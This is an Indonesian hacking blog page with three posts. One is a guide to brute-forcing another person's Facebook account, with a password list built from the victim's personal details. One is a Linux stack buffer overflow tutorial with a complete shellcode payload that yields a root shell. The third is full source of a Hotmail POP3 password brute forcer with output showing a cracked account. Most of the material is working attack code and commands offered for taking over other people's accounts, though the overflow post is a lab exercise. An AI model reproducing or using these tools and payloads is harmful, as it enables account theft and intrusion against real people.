Tuesday, September 7, 2010

Cara Hack Facebook With Brute Force

Kali ini saya akan mencoba menulis bagaimana kita mendapatkan account Facebook( Cara Hack Facebook ) orang lain. Lebih jelas’a bagaimana kita melakukan Brute Force ke Facebook target kita. Bagi temen-temen yang belum tau apa itu Brute Forcer bisa baca di http://id.wikipedia.org/wiki/Brute_force.
Oke kita langsung saja ke TKP, disini saya menggunakan OS Microsoft Windows XP SP2 :
Kita musti menginstal dulu software Python yang dapat di download di http://www.python.org/ftp/python/2.7/python-2.7.msi
Ada juga module tambahan yang mesti kita Install, module’a dapat di download di http://wwwsearch.sourceforge.net/mechanize/src/mechanize-0.2.2.zip
Mungkin bagi temen-temen yang masih bingung cara Install module’a, saya akan mencoba membantu bagaimana kita melakukan Install module tambahan’a. Kenapa saya harus jelaskan ini? Karena pas waktu pertama kali saya coba install module’a ternyata gak seperti software atau tool-tool yang lain’a. Ini agak sedikit berbeda karena menggunakan perintah CMD. Oke di lanjut Gan…..
Module yang sudah kita download di Extrak dulu, kemudian Rename menjadi Folder “m”
Simpan Folder di Drive C:
Masuk ke CMD, Start –> Run –> Ketikan “cmd” –> Enter
Sekarang kita mulai melakukan Install module’a. Masih dalam CMD, kita harus masuk dulu ke directory dimana kita menyimpan file-file module’a. Cara’a ketikan ini pada CMD :
cd c:m –> Enter
setup.py install –> Enter
Module sudah berhasil kita Install. Explorer lagi masih dalam folder “C:m”, cari folder “mechanize” di “C:buildlib” lalu pindahkan ke folder “C:Python27lib”.
Module tambahan sudah berhasil kita Install.
Sebelum kita menggunakan tool’a, kita harus punya dulu kamus password’a. Cara’a sangat mudah, disini kita dituntut harus mampu melakukan Social Engineering. Kita mesti tahu dulu target kita itu siapa, kapan tanggal lahir’a, apa warna kesukaan’a, kapan tanggal jadian sama pacar’a dan masih banyak yang lain’a. Karena menurut pengalaman saya selama ini, mereka membuat password tidak jauh-jauh dari hal yang di sebutkan barusan.
Sekarang password sudah kita kumpulan, selanjut’a simpan kumpulan password itu dalam notepad dan save dengan nama wordlist.txt.
Selanjut’a kita download dulu tool’a disini : http://packetstormsecurity.org/Crackers/fbruteforcer.py.txt
Copy Paste (CoPas) ke notepad dengan nama “fb.py”.
Lalu bikin folder dengan nama “tool” di Drive C:. Simpan file wordlist.txt dan fb.py di C:tool.
Sekarang kita mulai menjalankan tool’a, cara’a ketikan perintah di bawah pada CMD :
cd c:tool –>> Enter
fb.py –u email@target.com –w wordlist.txt –> Enter
Tunggu tool’a bekerja hingga muncul password Facebook korban kita.
Mungkin sekian dulu artikel yang bisa saya tulis. Kurang’a mohon maaf dan lebih’a bukan ada pada diri saya karena yang lebih hanya milik sang Pemilik Alam semesta ini. Maklum baru bisa sampai sini, jadi bikin tutorial’a juga sangat CuPu Banget. Karena kan saya hanyalah seorang Nyubi kelas berat, jadi bikin tutor’a juga di khususkan untuk para Nyubi-nyubi yang baru mau mencoba seperti saya ini.
Ok plends
,,
Tetap semangat ya untuk memajukan IT Indonesia.

By Mhiman Hnc
http://hacker-newbie.org
READ MORE -

Monday, September 6, 2010

Linux Buffer Overflow Tutorial

 

Linux Buffer Overflow Tutorial
Edisi : Pertama

Penulis : gunslinger_
Tanggal : Sat Jun 26 20:27:41 WIT 2010
Konten :
1. Pendahuluan
2. Konsep exploitasi
3. Attack vector
3.1. NOP
3.2. NOPSLED
3.3. PAYLOAD
4. Special thanks
– Pendahuluan
Setelah saya banyak melakukan penelitian pada kernel linux yang baru – baru ini ,
terutama kernel 2.6.8 ke atas memang tidak mungkin untuk mempraktikan teknik exploitasi buffer overflow dengan cara lama .
maka dari itu saya menulis tutorial ini agar kita bisa mempraktikan “apa itu sebenarnya buffer overflow ?”
pada kernel 2.6.8 ke atas karena kita mendapatkan kernel terbaru pada operting system pada saat ini.
dengan tutorial ini, saya akan menjelaskan secara terperinci menjelaskan teknik exploitasi buffer overflow.
– Konsep Exploitasi buffer overflow
ok, sekarang kita lanjut saja ke topik utama. sekarang kita harus membuat program yang vulnerable terhadap serangan buffer overflow.
———————bof.c————————–
01#include
02#include
03 
04int main(int argc, char** argv)
05{
06        char buffer[400];
07        strcpy(buffer, argv[1]);
08 
09        return 0;
10}
———————EOF—————————–
kita save dengan nama bof.c .
kita lihat pada source berikut itu bahwa adanya fungsi strcpy() .
fungsi strcpy() sangat berbahaya karena tidak adanya pengecekan filter panjang data yang akan kita input.
ok, sekarang saatnya kita mematikan randomize_va_space memory tujuannya agar kita mudah mengalokasikan memory.
dengan cara seperti berikut.
1root@bt:~# cat /proc/sys/kernel/randomize_va_space
22
3root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space
4root@bt:~# cat /proc/sys/kernel/randomize_va_space
50
6root@bt:~#
sekarang saatnya kita meng – compile program tersebut.
perhatian : pada saat mengompile tambahkan opsi -fno-stack-protector dan -mpreferred-stack-boundary=2.
berikut caranya
1root@bt:~# gcc -g -o bof -fno-stack-protector -mpreferred-stack-boundary=2 bof.c
sekarang saatnya kita mencari panjang string agar program si program mengalami crash.
1root@bt:~# ./bof `perl -e 'print "A" x 400'`
2root@bt:~# ./bof `perl -e 'print "A" x 403'`
seperti yang kita lihat, data tercopy kedalam buffer dan program exit secara normal.
dimana kita mengkopikan huruf “A” 400 – 403 bytes kedalam buffer.
1root@bt:~# ./bof `perl -e 'print "A" x 404'`
2Segmentation fault
3root@bt:~#
disitu kita tahu kita membutuhkan 404 panjang string agar si program mengalami crash .
lalu kemudian sekarang yang kita lakukan adalah kita mencari panjang string agar register EIP teroverwrite pada inputan kita.
EIP adalah poin awal dimana instruksi selanjutnya akan tereksekusi, maka jika EIP tersebut kita teroverwrite, kita bisa melakukan apa yang kita mau eksekusi pada saat itu.
sekarang, saatnya kita gunakan GNU debugger atau biasa disebut gdb.
perhatikan pada experiment berikut.
01root@bt:~# gdb -q bof
02(gdb) list
031       #include
042       #include
053
064       int main(int argc, char** argv)
075       {
086               char buffer[400];
097               strcpy(buffer, argv[1]);
108
119               return 0;
1210      }
13(gdb) run `perl -e 'print "A" x 404'`
14Starting program: /root/bof `perl -e 'print "A" x 404'`
15 
16Program received signal SIGSEGV, Segmentation fault.
170xb7e86606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
18(gdb) run `perl -e 'print "A" x 405'`
19The program being debugged has been started already.
20Start it from the beginning? (y or n) y
21Starting program: /root/bof `perl -e 'print "A" x 405'`
22 
23Program received signal SIGSEGV, Segmentation fault.
240xb7e800a9 in ?? () from /lib/tls/i686/cmov/libc.so.6
25(gdb)
hmmm terlihat bahwa kita belum mengoverwritenya kita coba lagi tambahkan 1 string
1(gdb) run `perl -e 'print "A" x 406'`
2The program being debugged has been started already.
3Start it from the beginning? (y or n) y
4Starting program: /root/bof `perl -e 'print "A" x 406'`
5 
6Program received signal SIGSEGV, Segmentation fault.
70xb7004141 in ?? ()
8(gdb)
ok, disitu sekarang sudah terlihat kita sedikit lagi mengoverwrite total eip.
perhatikan -> 0xb7004141
disitu ada 4141 , 41 adalah huruf “A” dalam bilangan hexadesimal . namun kita perlu mengoverwrite total address EIP tersebut.
1(gdb) run `perl -e 'print "A" x 407'`
2The program being debugged has been started already.
3Start it from the beginning? (y or n) y
4Starting program: /root/bof `perl -e 'print "A" x 407'`
5 
6Program received signal SIGSEGV, Segmentation fault.
70x00414141 in ?? ()
8(gdb)
sedikit lagi…
1(gdb) run `perl -e 'print "A" x 408'`
2The program being debugged has been started already.
3Start it from the beginning? (y or n) y
4Starting program: /root/bof `perl -e 'print "A" x 408'`
5 
6Program received signal SIGSEGV, Segmentation fault.
70x41414141 in ?? ()
8(gdb)
disitu terlihat bahwa kita telah mengoverwrite total register EIP.
perhatikan -> 0×41414141
kita sudah berhasil mengoverwritenya dengan huruf “A” dengan panjang string 408.
01(gdb) i r
02eax            0x0      0
03ecx            0xbffff0b7       -1073745737
04edx            0x199    409
05ebx            0xb7fc9ff4       -1208180748
06esp            0xbffff250       0xbffff250
07ebp            0x41414141       0x41414141
08esi            0x8048400        134513664
09edi            0x8048310        134513424
10eip            0x41414141       0x41414141 <-- ter overwrite !!
11eflags         0x210246 [ PF ZF IF RF ID ]
12cs             0x73     115
13ss             0x7b     123
14ds             0x7b     123
15es             0x7b     123
16fs             0x0      0
17gs             0x33     51
18(gdb)
sekarang yang perlu kita lakukan adalah dimana keberadaan register ESP (stack pointer).
01(gdb) list 1
021       #include
032       #include
043
054       int main(int argc, char** argv)
065       {
076               char buffer[400];
087               strcpy(buffer, argv[1]);
098
109               return 0;
1110      }
12(gdb) b 7
13Breakpoint 1 at 0x80483cd: file bof.c, line 7.
14(gdb)
perlu diperhatikan kita perlu menggunakan dimana fungsi vulnerable strcpy() sebagai breakpoint untuk mengetahui dimana keberadaan register ESP.
01(gdb) run test to see where esp is
02The program being debugged has been started already.
03Start it from the beginning? (y or n) y
04Starting program: /root/bof test to see where esp is
05 
06Breakpoint 1, main (argc=7, argv=0xbffff434) at bof.c:7
077               strcpy(buffer, argv[1]);
08(gdb) i r esp
09esp            0xbffff210       0xbffff210
10(gdb)
esp terletak pada address 0xbffff210
– Attack vector
ok sekarang bagian pengexploitasinya. kita butuh membuat attack vector untuk pengexploitasiannya.
sekarang yang perlu dimengerti apa itu NOP , NOPSLED, PAYLOAD.
- NOP
pertama saya akan menjelaskan apa itu NOP.
NOP dalam bahasa assembly adalah no-op atau no operation sampai instruksi selanjutnya tereksekusi.
dengan kata lain NOP adalah bagian yang dilewati sampai instruksi yang benar2 tereksekusi.
disini kita pakai NOP untuk melancarkan attack sampai bertemu instruksi yang kita inginkan.
NOP dalam bentuk opcode adalah “90″ atau “\x90″ dalam bentuk shellcode.
- NOPSLED
kedua saya akan menjelaskan apa itu NOPSLED. NOPSLED adalah serentetan yang terdiri dari NOP sampai beberapa bytes.
contoh seperti `perl -e ‘print “\x90″ x 40′`. maka kita akan mendapatkan “x90″ sampai 40 bytes (40 kali).
- PAYLOAD
ketiga saya menjelaskan apa itu PAYLOAD. PAYLOAD adalah serentetan kode yang akan kita eksekusikan.
shellcode adalah sebagai PAYLOAD nya
selanjutnya kita akan memeriksa dimana NOPSLED akan di tempatkan.
kita ulangi address tersebut sampai register EIP teroverwrite.
dan akhirnya memaksa program untuk melanjutkan eksekusi pada alamat NOP.
lalu kita ambil alamat pada register ESP dan kurangi register tersebut. sebut saja bilangan itu 300.
1root@bt:~# printf "%x\n" $((0xbffff210-300))
2bffff0e4
3root@bt:~#
alamat tersebut akan menempatkan kita pada NOPSLED.
sekarang yang kita butuhkan adalah mengkonversi alamat tersebut pada bentuk little endian.
-> e4f0ffbf
lalu kita jadikan ke bentuk shellcode.
-> \xe4\xf0\xff\xbf
sekarang saatnya kita menghitung berapa kali alamat tersebut harus di ulang.
kita tahu bahwa untuk mengoverwrite register EIP kita membutuhkan 408 bytes.
1root@bt:~# print "%d\n" $((408 -
kita kurangi dengan panjang NOPSLED kita. panjang NOPSLED kita adalah 200 bytes
1root@bt:~# print "%d\n" $((408 - 200
shellcode yang akan kita gunakan shellcode yang akan memberikan shell. kita bisa pakai shellcode berikut :
1"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
shellcode tersebut berukuran 28 bytes.
dan kurangi 28 bytes untuk shellcode kita.
1root@bt:~# printf "%d\n" $((408 - 200 - 28))
2180
3root@bt:~#
jadi kita 180 bytes untuk mengulangi alamat tersebut.
karena address memiliki panjang 4 bytes. kita harus membaginya dengan 4.
1root@bt:~# printf "%d\n" $((180/4))
245
3root@bt:~#
ok kita telah dapatkan berapa kali yang kita butuhkan untuk mengoverwrite EIP. yaitu 45.
maka payload kita akan seperti berikut :
NOPSLED + SHELLCODE + ESP
1`perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`
sekarang saatnya kita run paload kita tersebut langsung saja di debugger.
01(gdb) run `perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`
02Starting program: /root/bof `perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x04\xf1\xff\xbf" x 45'`
03 
04Breakpoint 1, main (argc=2, argv=0xbffff2d4) at bof.c:7
057               strcpy(buffer, argv[1]);
06(gdb) continue
07Continuing.
08Executing new program: /bin/bash
09(no debugging symbols found)
10Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
11(no debugging symbols found)
12Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
13(no debugging symbols found)
14Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
15(no debugging symbols found)
16Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
17(no debugging symbols found)
18Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
19(no debugging symbols found)
20Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
21(no debugging symbols found)
22Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
23(no debugging symbols found)
24Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
25(no debugging symbols found)
26Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
27sh-3.2# id
28uid=0(root) gid=0(root) groups=0(root)
29sh-3.2# echo WIN.
30WIN.
31sh-3.2# exit
32 
33Program exited normally.
34(gdb) quit
35root@bt:~#
selamat ! anda telah sukses mengexploitasi buffer overflow !
– special thanks : devilzc0de crew and jasakom crew
: www.devilzc0de.org / www.devilzc0de.com – www.jasakom.com , indonesianhacker.org, yogyacarderlink.web.id
: serverisdown.org, xc0de.or.id, echo.or.id

 

READ MORE -

hotmailbf.py (hotmail account bruteforcer)

 

001#!/usr/bin/python
002# -*- coding: utf-8 -*-
003# Hotmail brute forcer
004# programmer : gunslinger_
005# Inspired by mywisdom
006# This program is only for educational purposes only.
007 
008import sys, poplib, time
009 
010__Author__ = "Gunslinger_"
011__Version__  = "1.0"
012__Date__   = "Mon, 22 Feb 2010 13:13:43 +0700 "
013log = "hotmailbrute.log"
014file = open(log, "a")
015counter = 0
016face = '''
017 _           _                   _ _   _      __
018| |__   ___ | |_ _ __ ___   __ _(_) | | |__  / _|
019| '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_
020| | | | (_) | |_| | | | | | (_| | | | | |_) |  _|
021|_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_|
022 
023 Hotmail brute forcer
024 programmer   : %s
025 version      : %s
026 date release : %s
027 ''' % (__Author__, __Version__, __Date__)
028 
029help = '''
030Usage : ./hotmailbf.py -u [email] -w [wordlist]
031Example : ./hotmailbf.py -u suckthedick@hotmail.com -w wordlist.txt
032'''
033 
034for arg in sys.argv:
035 if arg.lower() == '-u' or arg.lower() == '--user':
036 email = sys.argv[int(sys.argv.index(arg))+1]
037 elif arg.lower() == '-w' or arg.lower() == '--wordlist':
038 wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
039 elif arg.lower() == '-h' or arg.lower() == '--help':
040 print face
041 print help
042 file.write(face)
043 file.write(help)
044 
045#Change these if needed.
046HOST = 'pop3.live.com'
047PORT = 995
048 
049try:
050 preventstrokes = open(wordlist, "r")
051 words            = preventstrokes.readlines()
052 count          = 0
053 while count < len(words):
054 words[count] = words[count].strip()
055 count += 1
056except(IOError):
057 print "\n[-] Error: Check your wordlist path\n"
058 file.write("\n[-] Error: Check your wordlist path\n")
059 sys.exit(1)
060def definer():
061 print "-" * 60
062 print "[+] Email         : %s" % email
063 print "[+] Wordlist         : %s" % wordlist
064 print "[+] Length wordlist     : %s " % len(words)
065 print "[+] Time Starting     : %s" % time.strftime("%X")
066 print "-" * 60
067 file.write ("\n[+] Email : %s" % email)
068 file.write ("\n[+] Wordlist : %s" % wordlist)
069 file.write ("\n[+] length wordlist : %s " % len(words))
070 file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
071 
072def main(password):
073 global counter
074 sys.stdout.write ("[-] Trying : %s \n" % (password))
075 sys.stdout.flush()
076 file.write("[-] Trying : %s \n" % (str(password)))
077 try:
078 pop = poplib.POP3_SSL(HOST, PORT)
079 pop.user(email)
080 pop.pass_(password)
081 pop.quit()
082 print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password)
083 file.write("[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password))
084 sys.exit(1)
085 except Exception, e:
086 pass
087 except KeyboardInterrupt:
088 print "\n[-] Aborting...\n"
089 file.write("\n[-] Aborting...\n")
090 sys.exit(1)
091 counter+=1
092 if counter == len(words)/5:
093 print "[+] Hotmailbruteforcer 20% way done..."
094 print "[+] Please be patient..."
095 file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
096 file.write("[+] Please be patient...\n")
097 elif counter == len(words)/4:
098 print "[+] Hotmailbruteforcer 25% way done..."
099 print "[+] Please be patient..."
100 file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
101 file.write("[+] Please be patient...\n")
102 elif counter == len(words)/2:
103 print "[+] Hotmailbruteforcer on 50% done..."
104 print "[+] Please be patient..."
105 file.write("[+] hotmailbruteforcer on halfway done...\n")
106 file.write("[+] Please be patient...\n")
107 elif counter == len(words):
108 print "[+] Hotmailbruteforcer done...\n"
109 file.write("[+] Hotmailbruteforcer done...!\n")
110 
111if __name__ == '__main__':
112 print face
113 file.write(face)
114 definer()
115 for password in words:
116 main(password.replace("\n",""))
117 main(password)
and this is example :
01gunslinger@localhost:~/project/hotmail$ ./hotmailbf.py -u **CENSORED**@hotmail.com -w wordlist.txt
02 
03 _           _                   _ _   _      __
04| |__   ___ | |_ _ __ ___   __ _(_) | | |__  / _|
05| '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_
06| | | | (_) | |_| | | | | | (_| | | | | |_) |  _|
07|_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_|
08 
09            Hotmail brute forcer
10            programmer : Gunslinger_
11 
12------------------------------------------------------------
13[+] Email       : **CENSORED**@hotmail.com
14[+] Wordlist        : wordlist.txt
15[+] Length wordlist     : 7
16[+] Time Starting   : 13:02:32
17------------------------------------------------------------
18[-] Trying : dsnadsa
19[+] Hotmailbruteforcer 20% way done...
20[+] Please be patient...
21[-] Trying : dsadsa
22[-] Trying : fdsafds
23[+] Hotmailbruteforcer on 50% done...
24[+] Please be patient...
25[-] Trying : dsadsaf
26[-] Trying : fasfsa
27[-] Trying : dsadsad
28[-] Trying : **CENSORED**
29[+] W00t w00t !!!
30[+] Username : [**CENSORED**@hotmail.com]
31[+] Password : [**CENSORED**]
32[+] Status : Valid!
33gunslinger@localhost:~/project/hotmail$

 

READ MORE -
Template by : mhiman@ hacker-newbie.org